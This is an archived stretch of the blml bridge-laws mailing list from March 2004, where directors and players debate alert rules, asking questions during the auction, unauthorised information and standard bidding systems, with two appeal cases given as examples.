Sent: Wednesday, March 10, 2004 6:44 AM Subject: Re: [blml] Catch-22 Nigel Guthrie ("Explain" thread): >>I agree with Richard, Jaap and the EBU that >>peculiar agreements should be highlighted on >>the front of the convention card and opponents' >>attention be drawn to them before play. I >>reckon that players can cope easily with that >>but with little more. >> >>Both Richard and Jaap are good Bridge players. >>Do they really believe that players would >>welcome even more complexity? Most people find >>alert procedures quite cumbersome already >>without having to memorise more categories. I >>suppose it might amuse TDs to have to rule >>about "the wrong kind of Alert". Frances Hinden: >I find alerting rules an interesting special >case in blml (and rgb and other places): >most people seem to think the solution chosen in >their country is better than elsewhere - not >necessarily perfect, but better. > >Strange, because generally is little chauvinism >on this mailing list. > >I'm no exception; I think the EBU rules are the >best ones around. This must be influenced more >by experience than most people think. Richard James Hills: Nigel has read my postings with insufficient care; I do not support Jaap's trial balloon of bipolar alerts during the auction. Frances is correct in stating that there is a *general* blml chauvinism about the blmler's local alert rules. However, there is one interesting exception to this chavinism; many ACBL-based blmlers are critical of the ACBL alert rules. Why? Because these ACBL-based blmlers agree with Nigel (and me) that the overly complex ACBL alert rules are self-defeating. The ACBL's quest for perfect ACBL alert rules is futile, when the complexity caused by crossing i's and dotting t's means that most ACBL-based players cannot remember all the details of the ACBL alert rules. With regards to the Aussie alert rules, I am not a wholehearted chauvinist. I believe that the ABF's alert philosophy of two decades ago was mediocre. However, in my opinion, the ABF's current self-alert philosophy revolutionised Aussie alert rules for the better. There is some objective evidence to support my chauvinist opinion. Two decades ago, a frequent reason for TD summonings in Australia was due to: (a) failure to alert, (b) perceived failure to alert, (c) alert gamesmanship, or (d) UI caused by an alert. Aussie TDs noted a dramatic drop in the frequency of alert-related TD summonings upon the ABF introducing the self-alert philosophy. This lower frequency of alert-related TD summonings has been maintained over subsequent years. Best wishes RJH ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From gesta@tiscali.co.uk Wed Mar 10 09:36:01 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 10 Mar 2004 09:36:01 -0000 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> <90A6828E-71EC-11D8-A15B-0003936A6522@gordonrainsford.co.uk> Message-ID: <003a01c40683$32088c80$bfdb403e@multivisionoem> Grattan Endicott Cc: Sent: Tuesday, March 09, 2004 5:09 PM Subject: Re: [blml] Explain What the Orange Book says is: "The right to ask questions is not a licence to do so without consequence: if you ask about an unalerted call and then pass, you have shown an interest which may influence your partner. Asking about an alerted call and then bidding reduces this possibility, but in either case if your partner acts in a way that suggests he has taken advantage of your question, then unauthorised information may be deemed to have been given. Similarly, if you ask a question and then pass, thus ending the auction, your partner's choice of lead, from the logical alternatives available, must not be one that could have been suggested by your question. (Law 16A, 73F1) "Note: If, at your turn to call, you do not need to have a call explained, it is in your interest to defer all questions until either you are about to make the opening lead or your partner's lead is face­down on the table." < +=+ The key point to be noted is that an interest may be inferred from the fact that a question is asked. The wording of the law confirms this to be so. Therefore, if the inference misleads an opponent the questioner has to show that he had a demonstrable bridge reason for asking. To suggest that a mere desire to know at that point in time is a *bridge* reason, when it will make no difference to the player's judgement and can be left to be clarified later before it can affect the enquirer's action, is not good enough and is a charter for cheats. Trusteeship, whether for players or for administrators of the game, requires that the game be protected from the consequences of giving self-interest (or self indulgence) a higher priority than the duty of care to opponents. ~ Grattan ~ +=+ From svenpran@online.no Wed Mar 10 10:11:54 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 10 Mar 2004 11:11:54 +0100 Subject: [blml] Explain In-Reply-To: <003a01c40683$32088c80$bfdb403e@multivisionoem> Message-ID: <000001c40688$1d2cf120$6900a8c0@WINXP> > gesta@tiscali.co.uk ......... > +=+ The key point to be noted is that an interest may be inferred > from the fact that a question is asked. The wording of the law > confirms this to be so. Therefore, if the inference misleads an > opponent the questioner has to show that he had a demonstrable > bridge reason for asking. To suggest that a mere desire to know > at that point in time is a *bridge* reason, when it will make no > difference to the player's judgement and can be left to be clarified > later before it can affect the enquirer's action, is not good enough > and is a charter for cheats. Trusteeship, whether for players or for > administrators of the game, requires that the game be protected > from the consequences of giving self-interest (or self indulgence) > a higher priority than the duty of care to opponents. > ~ Grattan ~ +=+ Generally quite true, but if this principle is followed strictly cannot the fact that I do not ask (for instance about an alerted call) reveal information about my hand; information that clearly must be UI to partner? Remember Sherlock Holmes and the Hound from Baskerville: The information that helped solve the case was the fact that the hound did not bark. (Note that this is not to be taken as a complaint against the present state of the rules on explanations! I am quite comfortable with them as they are, at least here in Norway). Regards Sven From blml@blakjak.com Wed Mar 10 02:22:16 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 10 Mar 2004 02:22:16 +0000 Subject: [blml] Explain In-Reply-To: <0E1F7172-7216-11D8-94BA-0030656F6826@rochester.rr.com> References: <0E1F7172-7216-11D8-94BA-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Tuesday, Mar 9, 2004, at 11:55 US/Eastern, David Stevenson wrote: > >> The game works differently in North America. When a player asks a >>question over there it means that he has realised you do not have an >>American accent, ergo you are a foreigner who eats babies and sends >>bombs to the peace-loving US, ergo you cannot play bridge, ergo he has >>to ask. Otherwise he never asks. > >heh. The North America you describe must be in a different ficton than >the one I inhabit. :-) Trust me, I have met a few of them at the Nationals! :))) -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From t.kooyman@worldonline.nl Wed Mar 10 13:22:17 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 10 Mar 2004 14:22:17 +0100 Subject: Fw: [blml] Explain Message-ID: <004101c406a2$b9e4e170$38f8f0c3@LNV> > > +=+ I think you should begin again, ton, by actually reading whast the > > EBU says. As a member of the EBU panel of referees I do not recognise > > your description of it. ton: > Strange, because this is what you told me . Now David is moderating this > information, saying that a player should be careful when asking questions. > Is there anybody not agreeing? > Grattan: > > > The case which I quoted is from the EBL annals some years before > > you arrived. It was agreed to be a case where Law 73F2 should be > > applied. It would astound me if you thought otherwise. +=+ > If you had read my answer carefully you would have seen that I agree. We had > this case in the recent EBL-course and educated the TD's there not to accept > such a question and apply L73F2. But this example is beside the issue. I > need an example in which a future defender asks a question about a call made > by an opponent after which declarer claims damage using 73F2 (being misled > so). And not a made up case, I could find one myself, but a real case. With > the decision from the TD and AC supporting this claim, saying that this > defender didn't have a bridge reason to ask this question. > You still doesn't seem to realise, in a bridge world where your approach is > followed, that it is much easier to come up with a case where a defender > did not ask anything and declarer now claims damage because partner defender > has used the non-information that his partner hasn't anything worth asking > with. There is a thread catch-22 going on in blml. Well you have succeeded > manoeuvring us in an impossible one. > > ton +=+ > > It does astound > > me that you apparently think just wanting to know the meaning of a > > call with no intention of doing anything but pass is a 'demonstrable > > bridge reason' if opponent is misled by the player's inferred interest. +=+ > Well, as far as I remember the LC almost unanimously agreed that wanting to > know what is going on is a good enough bridge reason. > What about your memory? > > ton > From cibor@poczta.fm Wed Mar 10 13:23:14 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: 10 Mar 2004 14:23:14 +0100 Subject: [blml] OT - bridge clubs in Denver Message-ID: <20040310132314.E1B831648A@front.interia.pl> > Ed Reppert wrote > > > >On Tuesday, Mar 9, 2004, at 11:55 US/Eastern, David Stevenson wrote: > > > >> The game works differently in North America. When a player asks a= =20 > >>question over there it means that he has realised you do not have an=20 > >>American accent, ergo you are a foreigner who eats babies and sends=20 > >>bombs to the peace-loving US, ergo you cannot play bridge, ergo he has= =20 > >>to ask. Otherwise he never asks. > > > >heh. The North America you describe must be in a different ficton than= =20 > >the one I inhabit. :-) There is no better way than to go and find out. I'll stay in Denver, Colorado for 6 weeks starting from March 16th. I wonder if there is anyone on BLML from Denver who might tell me where I could find the best bridge in Denver.=20 Thanks in advance - pls reply to my private address, not BLML. Konrad Ciborowski Krakow, Poland =0A__________________=0AKonrad Ciborowski Krak=F3w, Poland From ereppert@rochester.rr.com Wed Mar 10 16:05:07 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 11:05:07 -0500 Subject: [blml] Explain In-Reply-To: <000901c40674$50f011e0$1c7487d9@4nrw70j> Message-ID: On Wednesday, Mar 10, 2004, at 02:48 US/Eastern, grandeval wrote: > The Director is not required to establish that he did know, only that > he could have known; intent is not therefore in > question. Fair enough. Yet in rulings I have seen, what the Director actually does is *assert* that the player could have known. He gives no justification save "because I say so" - and that usually only by implication. Is the assertion alone sufficient to establish that the player could have known? From ereppert@rochester.rr.com Wed Mar 10 16:26:36 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 11:26:36 -0500 Subject: [blml] Explain In-Reply-To: <000001c40688$1d2cf120$6900a8c0@WINXP> Message-ID: On Wednesday, Mar 10, 2004, at 05:11 US/Eastern, Sven Pran wrote: > Generally quite true, but if this principle is followed strictly > cannot the > fact that I do not ask (for instance about an alerted call) reveal > information about my hand; information that clearly must be UI to > partner? "Partners shall not communicate through the manner in which calls or plays are made, through extraneous remarks or gestures, through questions asked or not asked of the opponents" - Law 73B1 Note "or not asked" near the end of that sentence. It seems to me that a player cannot fail to communicate *something* when an opponent alerts a call. If he asks, we infer he has some reason, which leads down a chain of logic ending in some conclusion about his hand. If he does not ask, we infer he has no reason to ask, which again leads down such a chain. Which is, I think, why Law 16 focuses not on the communication itself, but on the use of the information communicated. It occurs to me that if communication is inevitable, it is futile to have a law saying that players shall not do it. > Remember Sherlock Holmes and the Hound from Baskerville: The > information > that helped solve the case was the fact that the hound did not bark. Wrong story, right idea. :-) (The story was "Silver Blaze"). From ereppert@rochester.rr.com Wed Mar 10 16:37:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 11:37:30 -0500 Subject: Fw: [blml] Explain In-Reply-To: <004101c406a2$b9e4e170$38f8f0c3@LNV> Message-ID: <39639B72-72B1-11D8-8D1B-0030656F6826@rochester.rr.com> On Wednesday, Mar 10, 2004, at 08:22 US/Eastern, Ton Kooijman wrote: +=+ >> It does astound me that you apparently think just wanting to know the >> meaning of a call with no intention of doing anything but pass is a >> 'demonstrable bridge reason' if opponent is misled by the player's >> inferred interest. +=+ This bothers me for two reasons. One, if some action has a demonstrable bridge reason, it has that reason no matter whether someone else is misled or not. Two, opponent inferred the player was interested. Is it the (alleged) interest, or the inference which misled him? I would think the latter. And this, it seems to me, leads to the question whether the opponent's wrong conclusion is the fault of his opponent's action or of his own incorrect logic. Surely the mere fact that an action (or inaction, such as failure to ask) occurred is not sufficient to put the blame on the actor. > Well, as far as I remember the LC almost unanimously agreed that > wanting to > know what is going on is a good enough bridge reason. Makes sense to me. From johnson@CCRS.NRCan.gc.ca Wed Mar 10 16:42:39 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Wed, 10 Mar 2004 11:42:39 -0500 (EST) Subject: Fw: [blml] Explain In-Reply-To: <39639B72-72B1-11D8-8D1B-0030656F6826@rochester.rr.com> from "Ed Reppert" at Mar 10, 2004 11:37:30 AM Message-ID: <200403101642.i2AGgdHq000931@athena.ccrs.nrcan.gc.ca> Ed Reppert writes: > > > On Wednesday, Mar 10, 2004, at 08:22 US/Eastern, Ton Kooijman wrote: > > +=+ > >> It does astound me that you apparently think just wanting to know the > >> meaning of a call with no intention of doing anything but pass is a > >> 'demonstrable bridge reason' if opponent is misled by the player's > >> inferred interest. > +=+ > > This bothers me for two reasons. One, if some action has a demonstrable > bridge reason, it has that reason no matter whether someone else is > misled or not. Two, opponent inferred the player was interested. Is it > the (alleged) interest, or the inference which misled him? I would > think the latter. And this, it seems to me, leads to the question > whether the opponent's wrong conclusion is the fault of his opponent's > action or of his own incorrect logic. Surely the mere fact that an > action (or inaction, such as failure to ask) occurred is not sufficient > to put the blame on the actor. > > > Well, as far as I remember the LC almost unanimously agreed that > > wanting to > > know what is going on is a good enough bridge reason. > > Makes sense to me. Ton's recollection is backed up by an appeal from Albuquerque: I've mentioned it before, but it still seems to me to be worth repeating: Appeals Report 13 from Albuquerque (Rosenblum Cup) 743 JT A984 KJ85 K65 AQ 764 A53 J63 KQT7 Q942 AT63 JT982 KQ982 52 7 West North East South - Pass 1C 2C Pass 2S 2NT Pass 3NT South's 2C was a Michaels Cuebid for the majors and West asked about the meaning of this direct cuebid before deciding to pass. There was no hesitation involved. The fact that West asked instead of looking at the convention card led N/S to maintain that East's bid of 2NT may have been influenced by West's questions. E/W scored +600. The director was called at the end of the board, ruling that the score stands. N/S felt that East's bid of 2NT was not routine, and was possibly influenced by partner's question. At the other table their teammates were in the same position and chose to double, because the latter would be too dangerous. In England a player cannot ask a question when not intending to bid without compromising partner. In this event with such strict requirements regarding convention cards, he could pass and then look at the convention card. The Committee: There was no hesitation, and you are allowed to ask when it is your turn to bid. It is the opinion of the Committee that you should always ask, for then nobody can find any pattern in asking. E/W were playing natural with five card majors, and the natural development with no interruption would be to jump to 2NT on the second round to show a balanced 18-19 count. The 2NT bid is therefore considered routine. Result stands, deposit forfeited. Committee: Tony Forrester (Chairman), Jens Auken, Bobby Goldman, Tommy Sandsmark. Tony Sowter includes the following note in the tournament book: This ruling illustrates the dangers of individual NCBO's adopting regulations that are inconsistent with the international view. So you have two leading EBU players who believe that a) the EBU regs say you can't ask questions when intending to pass without potential consequences and b) that those regs are wrong. (This doesn't mean that they're correct in either case. Still, I think it's worth noting.) From John Mac Gregor" Message-ID: <000d01c406c0$2fe2d9a0$8e021d0a@amnet.co.cr> | Karel wqrites: | | | >In the same event as the previous post. | > | >Teams All vul dealer west | > | > S Jx | > H Qxxxx | > D xx | > C K9xx | >West East | >S ATxxxx S QT | >H xx H Kx | >D K9 D QTxxx | >C JTx C Axxx | > S Kxx | > H AJxx | > D AJxx | > C Qx | > | >West North East South | >2D(1) P 2H 2NT | >P 3D(2) Dbl P | >3S P P 4H | >P P 4S(3) Dbl | >All pass | > | >result 4S dbled -3 800 | > | >(1) Multi 2D | >(2) Meant as a transfer. Not alerted by south | >(3) Asked what the 3D was. South said they had no agreement and | >initially assumed | >natural but based on the auction it seemed likely it was meant as a transfer | >to hearts. | > | >E/W appeal the result | > | > | >N/S play system on over 1NT overcalls etc. South said they had no | >such agreement | >over 2NT and was adamant they had no agreement in this situation. | >He said that | >had east passed 3D he would also have passed for a rotten score. | > | >East's double was made with an air of confidence. South felt this was based | >on trump lenght but as he had no reason to doubt his partner and as he had 4 | >trumps he was happy to pass. When West pulled the double East was | >clearly unhappy. | > | > | >This now got South thinking. East it appeared had long diamonds as opposed | >to values in which case North couldnt have diamonds and had meant 3D | >as a transfer. | > South's hand was suitable for a heart contract so he bid 4H. He admitted if | >he was wrong then he was going for a telephone number but felt he was entitled | >to back his table presence. | > | >Your ruling pls. | Robert Harris writes: | Table action as described is certainly a basis for south's action, no | adjustment. | Karel writes: | > | >if there was a disputed pause at Norths 3rd turn to bid how would this effect | >your ruling ?? | Robert Harris writes: | Even so, as above. South seems to have plenty of reason to act. | When AI is plenty strong to suggest strongly 4H over 4D or over pass, | the only specific action a hesitation by north would seem to suggest | is a diamond call. | | Of course, I really don't understand the Law here very well, and the | suggested actions vs. others seem plenty clear to me here, but maybe | more expert players and judges will find them otherwise. | | REH Robert hits a key point here in my way of thinking. I would want to be as sure as possible that North has not shown ANY reactions during the auction. This may be hard to prove, and even harder for long-standing partnerships. That little flinch, frown, or sign of discomfort for about a milli-second may be enough to subconciously influence South's decision. It is perfectly all right to base decisions on the table action, as long as partner has not provided any as well. UI from them takes priority over AI from the opps! John John A. MacGregor, Chief Tournament Director Central American and Caribbean Bridge Federation San Jose, Costa Rica johnmacg@racsa.co.cr www.cacbf.com From nigel.guthrie@ntlworld.com Wed Mar 10 18:23:35 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 10 Mar 2004 18:23:35 -0000 Subject: [blml] Standard Message-ID: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> [Jaap van Der Neut] So if you alert a 2H opener (or 100 other bids) everybody just thinks you didn't forget to alert a convention in universal use. The idea that you might actually not play French Standard doesn't even enter their mind. Now is this the goal of alerts? [Nigel -- again for the umpteenth time] Let us distinguish two aspects of disclosure: 1. How we disclose. Currently we tend to *alert* conventional calls. In some countries, you can ask for an explanation with impunity. In England, there is a danger that you may be judged guilty of UI, unless you can explain why you asked. (The "explain" protocol is an alternative way of disclosing, which mitigates many problems). 2. What we disclose. For example, in the UK we tend to alert what David Stevenson considers conventional. According to Richard Hill, Australian rules specify lots of pre-alerts. In France, you have to alert one-openers that show 4+card suits. In America, only a few directors have time to learn and keep up to date with the rules. IMO, the simplest disclosure rules specify a standard system, from which you must explain departures. That standard system could be local or National e.g. Polish club in Poland. I believe it should be international. Any system would do at a pinch (: the Nairobi Diamond has been suggested :) but it may be easier to agree on a widely accepted standard, like WBF Standard, which has much in common with popular American French, Italian and other systems. Of course, if you or your opponents are unsure whether your agreement conforms to the standard, then you must alert/announce/explain the call. BLMLers have queried why you should you have to learn a complete system just to disclose. Why not just alert bids that are unusual or unnatural? Of course, the problem -- and the cause of endless trouble is that what seems natural to you is what you do yourself. With rules based on a standard system there is no need for endless debate over what is natural/artificial/conventional/unusual. At least with an international standard, you would have to learn only one such system; rather than, effectively, one for each country that you visit, as now. The standard system would also be useful for learners, no-fear competitions, individual tournaments, and scratch partnerships. The nearest current equivalent is SAYC and I dare say that would also be popular contender. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From nigel.guthrie@ntlworld.com Wed Mar 10 19:39:43 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 10 Mar 2004 19:39:43 -0000 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> <002c01c405b5$02002580$39ebf1c3@LNV> <90A6828E-71EC-11D8-A15B-0003936A6522@gordonrainsford.co.uk> <003a01c40683$32088c80$bfdb403e@multivisionoem> Message-ID: <016201c406d7$7067c280$029568d5@tinyhrieuyik> > [Grattan Endicott] > To suggest that a mere desire to know at that point in > time is a *bridge* reason, when it will make no difference > to the player's judgement and can be left to be clarified > later before it can affect the enquirer's action, is not > good enough and is a charter for cheats. [Nigel] Elsewhere, Grattan explains that he wants to *clarify* the current law, not necessarily *defend* it. Under the current alert law, you have 4 (: or 5 :) options (1) *Always* ask (ethical but time-wasting). (2) *Never* ask until after the auction. (3) *When you need to know* ask so you can decide on your call. (but this may give UI to partner). (4) *Randomly* ask; and when you need to know. Obviously, "Not asking" still conveys UI. Less obviously, "Asking" still conveys *some* UI. (5) Ask to illegally convey information to partner; or deceive declarer; or when you need to know. Some cynics believe this to be the popular conception. For example, Have you noticed that when an expert shows great interest in an early bid in the auction (for example fourth-suit), that is usually the lead that he does *not* want. IMO, the only ethical alternatives are (1) and (2). Both are effectively incorporated in the *Explain protocol*, in the simplest possible way. In the past, some BLMers seem to have had difficulty understanding that the *Explain protocol* is simpler and much faster than (1) or (2). (Essentially, because there are no alerts to delay calls or explanations). --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From walt1@verizon.net Wed Mar 10 19:50:04 2004 From: walt1@verizon.net (Walt) Date: Wed, 10 Mar 2004 14:50:04 -0500 Subject: [blml] Catch-22 In-Reply-To: References: Message-ID: <6.0.3.0.0.20040310144647.03058960@incoming.verizon.net> At 03:46 AM 10/03/2004, Jaap van der Neut wrote: >So if you alert a 2H opener (or 100 other bids) >everybody just things you didn't forget to alert a convention in universal >use. The idea that you might actually not play French Standard doesn't even >enter their mind. Now is this the goal of alerts ? I still don't understand why the ACBL dropped their "Special Alerts". Something to point out a call which is quite unusual seems to me, as Jaap indicates, to be a very good idea. Walt From walt1@verizon.net Wed Mar 10 20:04:48 2004 From: walt1@verizon.net (Walt) Date: Wed, 10 Mar 2004 15:04:48 -0500 Subject: Fw: [blml] Explain In-Reply-To: <200403101642.i2AGgdHq000931@athena.ccrs.nrcan.gc.ca> References: <39639B72-72B1-11D8-8D1B-0030656F6826@rochester.rr.com> <200403101642.i2AGgdHq000931@athena.ccrs.nrcan.gc.ca> Message-ID: <6.0.3.0.0.20040310145836.0305ceb0@incoming.verizon.net> At 11:42 AM 10/03/2004, Ron Johnson wrote: >In England a player cannot >ask a question when not intending to bid without compromising >partner. In this event with such strict requirements regarding >convention cards, he could pass and then look at the convention >card. Ron This is not quite correct, in the ACBL you may look at an opponents convention card only when it is your turn to bid. Certainly asking the question after the auction was over would have avoided this problem though. Walt From ehaa@starpower.net Wed Mar 10 20:53:10 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 10 Mar 2004 15:53:10 -0500 Subject: Fw: [blml] Explain In-Reply-To: <004101c406a2$b9e4e170$38f8f0c3@LNV> Message-ID: <5.2.0.9.0.20040310145607.009f1b20@pop.starpower.net> At 08:22 AM 3/10/04, Ton wrote: > > Grattan: > > > > > It does astound > > > me that you apparently think just wanting to know the meaning of a > > > call with no intention of doing anything but pass is a 'demonstrable > > > bridge reason' if opponent is misled by the player's inferred > interest. > > > Well, as far as I remember the LC almost unanimously agreed that > wanting >to > > know what is going on is a good enough bridge reason. > > What about your memory? What does true full disclosure mean if not providing one's opponents with the ability to follow the meaning of one's bidding "conversation" as it is unfolding? Since when have the Laws taken the view that one should fully disclose one's methods only to opponents who intend to vary their actions as a result? IMHO, the philosophy of full disclosure implies that full disclosure be "in the air" at all times, not just those times at which the rules specify that the opponents are allowed to "care". Where is full disclosure if I don't know what the opponents are doing, and are constrained by law from finding out? It is certainly true that true full disclosure opens up opportunities for unscrupulous players to take advantage to violate the prohibitions against using UI or deceiving the opponents. But we have let that lead us into a state where we interpret those prohibitions with a heavy weight on the "might haves" and "could haves", finding infractions when there is no possible inference or reason to evey vaguely suspect intention (I know we can't read minds, but we should nevertheless reserve the application of L73F2 to cases where a player's action is indistinguishable from that of someone trying to "pull a fast one"). Perhaps our goals are simply irreconcilable, in which case we must ask ourselves which we want: a game of full disclosure, or a game in which cheaters are always caught and punished. On that question I would vote with Ton. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From gesta@tiscali.co.uk Wed Mar 10 20:49:07 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 10 Mar 2004 20:49:07 -0000 Subject: [blml] Explain References: <004101c406a2$b9e4e170$38f8f0c3@LNV> Message-ID: <001f01c406e2$932900d0$acca403e@multivisionoem> Grattan Endicott > > +=+ > > > It does astound > > > me that you apparently think just wanting to know the meaning of a > > > call with no intention of doing anything but pass is a 'demonstrable > > > bridge reason' if opponent is misled by the player's inferred interest. > +=+ > > > Well, as far as I remember the LC almost unanimously agreed that > > wanting to know what is going on is a good enough bridge reason. > > What about your memory? > > +=+ You argued this way, but I did not hear anyone agree in those terms and, as the minute records, after the committee had wriggled every which way in looking for means to avoid the consequences of the inferences that may be drawn, the subject was remitted without any agreement as to the interpretation of the law. In my opinion your view is in absolute denial of the fact that the law allows that an inference may be drawn and may mislead, and states the basis on which the Director may then possibly award an adjusted score. We all agree that a question may be asked, but asking a question is not free of possible consequences from the inferences it may create. The law is quite clear on that point. UI may be created; a misleading inference for opponent may be created. The laws make provision for either circumstance. And I repeat what I have previously said: it is for the Director and the TAC to determine each particular case on its own facts. In terms of the 1987 law, repeated in 1997, I consider your position aberrant. and guidance based upon it erroneous. I know you would like the law to be as you say but, for the present, it is not. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Wed Mar 10 20:57:01 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 10 Mar 2004 20:57:01 -0000 Subject: [blml] Standard References: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> Message-ID: <002001c406e2$942a6b40$acca403e@multivisionoem> Grattan Endicott To: Sent: Wednesday, March 10, 2004 6:23 PM Subject: [blml] Standard > > At least with an international standard, you would have to > learn only one such system; rather than, effectively, one > for each country that you visit, as now. > > The standard system would also be useful for learners, > no-fear competitions, individual tournaments, and scratch > partnerships. The nearest current equivalent is SAYC and > I dare say that would also be popular contender. > +=+ Or the EBL standard card, enforceable in Malmoe. Dream on ...... ~ G ~ +=+ From HarrisR@missouri.edu Wed Mar 10 21:37:20 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Wed, 10 Mar 2004 15:37:20 -0600 Subject: [blml] Standard In-Reply-To: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> References: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> Message-ID: >[Jaap van Der Neut] >So if you alert a 2H opener (or 100 other bids) everybody >just thinks you didn't forget to alert a convention in >universal use. The idea that you might actually not play >French Standard doesn't even enter their mind. Now is this >the goal of alerts? With one of my regular partners I play his "system"-"The Weak NO Trump System" (This really means Henry can bid whatever he feels like, including the psyches that lead to scores of -1100 for us.) This is a long way away from what is more or less standard around here. (Middle of Missouri, and so far as I know, most of ACBL-land.) (Everyone around here is more or less familiar with this, so we don't pre-alert them.) When we face a pair who are unfamiliar with this system, we tell them that we open 11-14 1NT (NOT KS), no transfers, intermediate jump overcalls, simple overcalls may be very weak, weak two bids may have poor suits, one level openings may be on a good suit and little else (what some folk would regard as a good weak 2), take-out doubles may not have good support for all unbid suits, and we make lots of low level penalty doubles, as we do not use negative doubles, support doubles, responsive doubles, and the like. This is our approach to pre-alerting, which is at least consistent with the spirit of full disclosure. It takes about a minute at the beginning of a round, including answering questions. This is all on our convention card, but nobody reads convention cards, since almost everyone plays some sort of Eastern Scientific or Western copycat (2/1 or the like.) Of course, we sometimes get asked lots of questions during our auctions by people who don't understand all this. (They want to know what is going on, mostly, when we alert calls which are not alerted in their system.) The questions often do not show interest in taking action at the time. In my experience, it is a mistake to assume the questions amount to more than simple curiosity and a desire to know what is going on. (Interestingly enough, our system is more natural than what even the bunnies play, at least around here.) The point of all this is, I think anyone playing a system not familiar to many of the opponents needs to pre-alert, as well as alert as required during the auction. Odd play conventions need to be alerted before play starts. (And of course those signaling methods questions should be asked before play starts, also.) REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From nigel.guthrie@ntlworld.com Wed Mar 10 22:34:40 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 10 Mar 2004 22:34:40 -0000 Subject: [blml] Standard References: <015301c406d1$11ae8cc0$029568d5@tinyhrieuyik> Message-ID: <029f01c406ef$e15968a0$029568d5@tinyhrieuyik> [Robert E. Harris] With one of my regular partners I play "The Weak NO Trump System" (This really means Henry can bid whatever he feels like, including the psyches that lead to scores of -1100) When we face a pair who are unfamiliar with this system, we tell them that we open 11-14 1NT (NOT KS), no transfers, intermediate jump overcalls, simple overcalls may be very weak, weak two bids may have poor suits, one level openings may be on a good suit and little else (what some folk would regard as a good weak 2), take-out doubles may not have good support for all unbid suits, and we make lots of low level penalty doubles, as we do not use negative doubles, support doubles, responsive doubles, and the like. This is our approach to pre-alerting, which is at least consistent with the spirit of full disclosure. It takes about a minute at the beginning of a round, including answering questions. This is all on our convention card. The point of all this is, I think anyone playing a system not familiar to many of the opponents needs to pre-alert, as well as alert as required during the auction. Odd play conventions need to be alerted before play starts. [Nigel] I like Robert's system, having often played it myself. I also agree with Robert's ideas on pre-alerting. In the UK, our EBU has anticipated them. There is a special section on the front of the CC to warn opponents about anything unusual in our bidding or play. Before the game, we draw attention to this section and explain it. I understand from Richard Hills that Australia has also implemented similar rules. With luck, the new edition of TFLB will include a law with similar effect, so that the onus is not left on each jurisdiction to implement its own slightly different rule. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 01/03/2004 From ereppert@rochester.rr.com Wed Mar 10 23:40:34 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 18:40:34 -0500 Subject: Fw: [blml] Explain In-Reply-To: <200403101642.i2AGgdHq000931@athena.ccrs.nrcan.gc.ca> Message-ID: <538E74E6-72EC-11D8-8D1B-0030656F6826@rochester.rr.com> On Wednesday, Mar 10, 2004, at 11:42 US/Eastern, Ron Johnson wrote: > N/S felt that East's bid of 2NT was not routine Hm. Can't recall seeing the phrase "not routine" in the laws. From ereppert@rochester.rr.com Wed Mar 10 23:44:00 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 10 Mar 2004 18:44:00 -0500 Subject: [blml] UI/MI/Pausing has it all ! In-Reply-To: <000d01c406c0$2fe2d9a0$8e021d0a@amnet.co.cr> Message-ID: On Wednesday, Mar 10, 2004, at 11:53 US/Eastern, John Mac Gregor wrote: > That little flinch, frown, or sign of discomfort for about a > milli-second may be enough > to subconciously influence South's decision. Maybe we should put all players into sensory deprivation tanks, and feed the other players' calls to them via machine generated voices. From richard.hills@immi.gov.au Thu 